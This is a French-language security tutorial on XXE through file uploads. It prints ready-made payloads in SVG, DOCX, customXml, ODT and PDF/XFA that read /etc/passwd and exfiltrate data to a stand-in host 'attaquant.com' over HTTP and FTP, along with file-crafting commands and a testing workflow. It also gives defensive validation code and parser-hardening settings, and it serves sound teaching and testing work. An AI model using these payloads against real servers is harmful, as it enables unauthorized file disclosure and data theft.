XXE via upload de fichier (CWE-611) : payloads d'entités externes dans SVG, DOCX, XLSX ou PDF traités côté serveur — divulgation de fichiers sans modifier les en-têtes HTTP.
TL;DR
Le XXE par upload de fichier exploite les applications qui acceptent des formats de fichiers basés sur XML et les traitent côté serveur avec un parseur XML non protégé. Le payload de l'attaquant est intégré dans le fichier lui-même — dans le balisage SVG, dans une archive ZIP OOXML, dans les données de formulaire XFA d'un PDF ou dans le XML d'un document ODT. La requête HTTP d'upload ressemble à un upload de fichier bénin ; toute la logique d'attaque est contenue dans le contenu du fichier.
Il s'agit de l'un des patterns XXE les plus répandus dans les applications modernes car les points de terminaison d'upload de fichiers existent dans pratiquement toute application web : chargeurs d'avatars, systèmes de gestion de documents, importateurs de feuilles de calcul, processeurs de factures, analyseurs de CV et systèmes de gestion de contenu.
OWASP A05:2021 (Mauvaise configuration de sécurité) s'applique car la vulnérabilité est une défaillance de configuration du parseur : Apache POI, Apache Batik, Apache Tika et LibreOffice sont tous livrés avec la résolution d'entités externes activée sauf configuration explicite contraire.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="100" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="50" font-size="14">&xxe;</text>
</svg>Si Apache Batik rend ce SVG en PNG, le contenu de /etc/passwd apparaît comme texte dans l'image rendue.
<!-- Variante OOB — pas de réflexion de réponse nécessaire -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % sp SYSTEM "http://attaquant.com/exfil.dtd">
%sp;
%param1;
]>
<svg xmlns="http://www.w3.org/2000/svg"/># Étape 1 : Dézipper
unzip clean.docx -d malicious/
# Étape 2 : Injecter dans word/document.xml<!-- malicious/word/document.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://VOTRE-TOKEN.oast.pro/docx-xxe">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document># Étape 3 : Rezipper
cd malicious && zip -r ../malicious.docx . && cd ..Pour la chaîne CVE-2025-21425 (Office 2024+ a durci document.xml mais pas customXml) :
<!-- malicious/customXml/item1.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd_local SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'wrapper'>
<!ENTITY % fichier SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % erreur SYSTEM 'file:///inexistant/%fichier;'>">
%dtd_local; %eval; %erreur;
]>
<racine/>Apache Tika traite XFA (XML Forms Architecture) intégré dans des fichiers PDF. Versions antérieures à 3.2.2 :
# Vérifier la version Tika avant l'exploitation
import requests
resp = requests.get("http://serveur-tika/version")
print(resp.json().get("version")) # Devrait être >= 3.2.2 pour être corrigé
# Créer un PDF avec XFA intégré contenant un payload XXE
# (utiliser tika-xxe-generator ou construction manuelle de PDF)
# Le payload XFA : <!ENTITY % xxe SYSTEM "http://TOKEN.oast.pro/tika-xfa"><!-- malicious/content.xml dans malicious.odt ZIP -->
<?xml version="1.0" encoding="UTF-8"?>
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"
xmlns:xi="http://www.w3.org/2001/XInclude">
<office:body>
<office:text>
<!-- XInclude contourne le filtre DOCTYPE dans LibreOffice < 25.2.3 -->
<xi:include parse="text" href="file:///etc/passwd"/>
</office:text>
</office:body>
</office:document-content>CVE-2025-66516 — Apache Tika PDF/XFA (CVSS 10.0)
Apache Tika est intégré dans les produits de recherche d'entreprise, les intégrations SharePoint, les pipelines RAG pour l'IA et les systèmes de gestion de documents. Toute application appelant TikaInputStream.get(fichier) sur des PDFs uploadés par l'attaquant avant Tika 3.2.2 est vulnérable.
CVE-2025-21425 — Parseur OOXML Microsoft Office (CVSS 7.5)
Microsoft Office 2024 a durci word/document.xml contre le XXE basé sur DOCTYPE mais a laissé les fichiers customXml/*.xml traités par un chemin de code séparé non protégé. Corrigé dans le Patch Tuesday de janvier 2025. L'attaque ne nécessite aucune macro.
CVE-2025-31200 — LibreOffice ODT XInclude (CVSS 7.1)
LibreOffice a bloqué le XXE basé sur DOCTYPE mais n'a pas désactivé le traitement XInclude. Un fichier ODT avec xi:include href="file:///etc/passwd" divulgue le fichier quand le document est ouvert ou converti.
HackerOne #1113539 — Import XLSX Rockstar Games (Élevé)
Le chercheur a modifié un template de feuille de calcul pour inclure des payloads XXE dans les fichiers XML OOXML. Le processeur XLSX côté serveur (Apache POI) a résolu les entités et effectué des rappels OOB, puis divulgué le contenu de fichiers côté serveur.
Identifier les points de terminaison d'upload qui traitent des formats XML : upload d'avatar (SVG), import de documents (DOCX/XLSX), traitement de factures (PDF), upload de templates (ODT).
Injecter un canari XXE OOB dans le XML du fichier :
<!ENTITY % xxe SYSTEM "http://VOTRE-TOKEN.oast.pro/upload-fichier-xxe">Utiliser OXML_XXE pour générer des fichiers de test automatiquement :
gem install oxml_xxe
oxml_xxe -f docx -c http://VOTRE-TOKEN.oast.pro/
# Génère malicious.docx avec payload XXE OOBPour SVG : soumettre via tous les points de terminaison d'upload acceptant des images.
OXML_XXE automatise la génération de payloads pour DOCX, XLSX, PPTX, SVG et ODT.
Les templates Nuclei couvrent le XXE spécifique aux CVE pour les uploads de fichiers (template CVE-2025-66516 disponible).
BreachVex teste les points de terminaison d'upload en générant des fichiers SVG, DOCX et XLSX malveillants avec des tokens de rappel hors-bande uniques par type de contenu, puis surveille les rappels après chaque upload et les corrèle par token.
# Python — valider le contenu des fichiers avant traitement
import zipfile
import re
def valider_ooxml(octets_fichier: bytes) -> None:
"""Scanner les ZIP OOXML pour détecter les déclarations DOCTYPE/ENTITY."""
with zipfile.ZipFile(octets_fichier) as zf:
for nom in zf.namelist():
if nom.endswith('.xml') or nom.endswith('.rels'):
contenu = zf.read(nom).decode('utf-8', errors='replace')
if re.search(r'<!DOCTYPE|<!ENTITY', contenu, re.IGNORECASE):
raise ValueError(f"DOCTYPE/ENTITY détecté dans {nom} — rejeté")// Apache POI — utiliser le modèle événementiel SAX avec parseur durci
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// Pour Apache Tika — mettre à jour vers >= 3.2.2 (CVE-2025-66516 corrigé)
// Tika 3.2.2 désactive la résolution d'entités dans le parseur XFA par défautRejeter les fichiers contenant des patterns <!DOCTYPE n'est pas suffisant pour les fichiers ODT LibreOffice. CVE-2025-31200 utilise XInclude (xi:include) qui n'utilise pas DOCTYPE. Scanner à la fois <!DOCTYPE et xmlns:xi="http://www.w3.org/2001/XInclude", et désactiver XInclude au niveau du parseur séparément.
Tout format de fichier basé sur XML est potentiellement vulnérable : SVG (Scalable Vector Graphics), DOCX/XLSX/PPTX (OOXML — archives ZIP contenant des fichiers XML), ODT/ODS (LibreOffice OpenDocument — aussi ZIP+XML), PDF avec formulaires XFA (format XML d'Adobe pour les formulaires), EPUB et assertions SAML. L'attaque nécessite que l'application traite le fichier uploadé avec un parseur XML n'ayant pas désactivé la résolution d'entités externes.
Les formats OOXML (DOCX, XLSX, PPTX) sont des archives ZIP contenant des fichiers XML. Le contenu principal du document est dans word/document.xml (DOCX) ou xl/worksheets/sheet1.xml (XLSX). Apache POI traite ces fichiers XML avec un parseur SAX ou DOM. Si ce parseur a la résolution d'entités activée, injecter des déclarations <!DOCTYPE> et <!ENTITY> dans l'un des fichiers XML dans le ZIP déclenche XXE quand le fichier est traité côté serveur. CVE-2025-21425 cible spécifiquement le composant customXml/item1.xml.
Microsoft Office 2024+ a durci le parseur word/document.xml mais laissé les fichiers customXml/*.xml non protégés. CVE-2025-21425 (CVSS 7.5, Patch Tuesday janvier 2025) exploite ceci : un DOCX malveillant contient un payload XXE dans customXml/item1.xml plutôt que word/document.xml. Le parseur Office traite les fichiers customXml avec l'ancien parseur non protégé. Quand la victime ouvre le DOCX, le XML customXml déclenche la divulgation de fichier (pattern réutilisation DTD locale). Aucune macro requise.
Apache Tika (< 3.2.2) traite des documents PDF contenant des formulaires XFA (XML Forms Architecture). XFA est du XML dans des PDF. Quand Tika rencontre une section XFA, il la parse avec un parseur XML ayant la résolution d'entités externes activée par défaut. Un PDF malveillant avec un formulaire XFA contenant des payloads XXE déclenche la lecture de fichiers arbitraires ou SSRF lors du traitement par toute application utilisant Tika pour l'ingestion de documents. CVSS 10.0 — non authentifié, accessible par le réseau dans de nombreux déploiements.
1. Partir d'un fichier DOCX propre. 2. Dézipper : unzip clean.docx -d malicious/. 3. Éditer word/document.xml (ou malicious/customXml/item1.xml pour la chaîne CVE-2025-21425) : ajouter les déclarations <!DOCTYPE> et <!ENTITY xxe SYSTEM 'http://CANARY.oast.pro/'>, intégrer &xxe; dans le corps du document. 4. Rezipper : cd malicious && zip -r ../malicious.docx . && cd ... 5. Uploader vers l'application cible. Le serveur traite le DOCX et résout l'entité externe.
Les points de terminaison d'upload d'avatar acceptent souvent des fichiers SVG pour les profils en graphiques vectoriels. Si le serveur rend le SVG en PNG/JPEG (pour l'affichage) ou extrait des métadonnées avec une bibliothèque comme Apache Batik, le XML SVG est traité. Un attaquant uploade un SVG malveillant : <?xml version='1.0' standalone='yes'?><!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><svg><text>&xxe;</text></svg>. Apache Batik résout l'entité et peut inclure le contenu du fichier dans la sortie d'image rendue.
Oui — CVE-2025-31200 (CVSS 7.1) démontre la divulgation de fichier via XInclude dans les fichiers ODT LibreOffice. ODT est un format OpenDocument basé sur ZIP+XML. LibreOffice a rejeté le XXE basé sur DOCTYPE mais traitait les instructions XInclude, permettant xi:include href='file:///etc/passwd' d'être intégré dans le document XML. Le contenu du fichier est inclus quand LibreOffice ouvre ou convertit le fichier. Corrigé dans LibreOffice 25.2.3 et 24.8.7.
OXML_XXE (github.com/BuffaloWill/oxml_xxe) — outil dédié pour générer des fichiers DOCX, XLSX, PPTX, ODT et SVG malveillants avec des payloads XXE configurables. Il gère automatiquement le dépaquetage ZIP, l'injection XML et le repaquetage. Pour la création manuelle : unzip + éditer XML + rezip est suffisant. Pour PDF/XFA : outils spécialisés ou création manuelle avec injection de payload XFA.
Approche à faible bruit : 1. Uploader un SVG/DOCX valide sans payload XXE pour confirmer l'acceptation. 2. Ajouter un canari d'entité interne (pas de récupération externe) : <!ENTITY test 'XXECANARY'>. 3. Si le canari est reflété dans une réponse, l'expansion d'entités est confirmée. 4. Escalader vers OOB : ajouter une entité SYSTEM avec un token Interactsh — cela fait une requête DNS/HTTP sortante. 5. N'essayer la lecture de fichier que si OOB confirme la vulnérabilité du parseur.
Quand le XXE OOXML cible des processeurs de documents basés sur Java (Apache POI sur Java), la technique d'exfiltration FTP fonctionne : l'entité référence ftp://attaquant.com:2121/%fichier; où %fichier; s'étend au contenu du fichier cible. Le client FTP de Java envoie le contenu du fichier comme nom d'utilisateur dans la commande USER FTP, que l'outil xxeftp capture. Cette technique est plus fiable que HTTP pour les processeurs de documents Java car elle gère mieux les sauts de ligne.